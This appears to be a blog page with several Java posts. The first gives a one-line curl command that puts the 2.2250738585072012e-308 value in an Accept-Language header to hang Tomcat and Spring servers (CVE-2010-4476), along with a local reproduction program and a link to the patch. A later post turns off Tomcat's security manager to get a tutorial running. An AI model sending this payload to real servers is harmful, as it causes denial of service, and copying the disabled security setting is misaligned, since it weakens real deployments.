Java DDOS 2.2250738585072012e-308 with curl

There seems to be an easy exploit for the problem going around in the news.

curl -H „Accept-Language: en-us;q=2.2250738585072012e-308“ URL

Apparently works on any Tomcat-server calling getLocale() on the request or most spring applications.

Meanwhile there is java patch for the problem, update your boxes!

Release Notes: http://blogs.oracle.com/henrik/2011/02/jdk_6_update_24_released.html
Security Alert: http://www.oracle.com/technetwork/topics/security/alert-cve-2010-4476-305811.html

For my servers it did not have an effect but maybe you had success? Please leave a comment.

Edit:

You should all have received a java security update by now. If not, you could simply use the following code to reproduce the bug locally.

$ cat Runhang.java 
class Runhang {
  public static void main(String[] args) {
    System.out.println("Test:");
    double d = Double.parseDouble("2.2250738585072012e-308");
    System.out.println("Value: " + d);
  }
}

$ javac Runhang.java
$ java Runhang &
... wait and kill it :)
Advertisements

Spring Bugreport

Ich habe vor einiger Zeit bei Spring einen Bugreport bezüglich der Mail API angelegt. In der Regel bin ich da eher zögerlich was soetwas angeht, vor allem da die meisten Ticketsysteme eher unkomfortabel sind.

Spring verwendet allerdings Jira, was bei uns in der Firma auch etabliert ist, und war somit gut und bequem zu bedienen.

https://jira.springsource.org/browse/SPR-6530

Das Problem war, dass bei MimeMails die Empfänger und Absenderadressen nicht korrekt kodiert wurden, wenn sie Sonderzeichen enthalten.

Der Support bei Spring scheint auch nicht schlecht zu sein, schon nach kurzer Zeit war das Ticket bewertet und etwas später auch bearbeitet.

Kurz um: Ein einfaches Ticket System sorgt für gutes Feedback zur Anwendung und besänftigt unter Umständen auch hitzige Anwender.

Deploy the Spring Security Tutorial

Ich arbeite mich zur Zeit ein wenig in verschiedene Sicherheitsframeworks für Java ein und bin gerade dabei Spring Security genauer unter die Lupe zu nehmen.

Allerdings gab es bereits Probleme beim Deployen der Beispielanwendung aus dem Quick Start Guide.

Der Tomcat Application Manager gab nachdem Installieren nur ein sehr hilfreiches: FEHLER – Anwendung mit Kontext Pfad /tutorial konnte nicht gestartet werden von sich.

Das Systemlog führte einen dann schon eher auf die richtige Fährte:

[ERROR,[/tutorial]] Exception sending context initialized event to listener instance of class org.springframework.web.util.Log4jConfigListener java.security.AccessControlException: access denied (java.util.PropertyPermission tutorial.root read)
...
SEVERE: Error listenerStart
SEVERE: Context [/tutorial] startup failed due to previous errors

Interessanterweise landete die oberste Meldung nicht in den Tomcat Logs sondern nur in der /var/log/syslog. Die SEVERE Meldungen sind auch in den Tomcat Logs zu finden aber eben nicht annähernd so hilfreich.

Um nun nicht die ganze Beispielanwendung untersuchen und die einzelnen Regeln definieren zu müssen, reicht es für Testzwecke aus die Sicherheitsprüfung im Tomcat zu deaktivieren. Für den 5.5er Tomcat untern Debian, wird dies in der /etc/default/tomcat5.5 mit dem Eintrag TOMCAT5_SECURITY=no erreicht.

hth